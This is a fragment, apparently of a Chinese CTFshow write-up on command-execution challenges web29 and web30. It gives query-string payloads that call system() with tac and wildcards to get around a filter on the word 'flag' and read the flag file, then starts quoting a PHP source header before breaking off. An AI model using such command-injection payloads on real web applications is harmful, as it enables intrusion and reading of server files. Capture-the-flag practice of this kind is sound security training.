CTFshow命令执行web291/?c=system("tacfla?.php");2/?c=system("tacf*.php>1.txt");再访问1.txtweb301<?php/*#-*-coding:utf-8-*-#@Author:h1xa#@Date:2020-09-0400:12:34#@LastModifiedby:h1xa#@LastModifiedtime:2020-09-0400: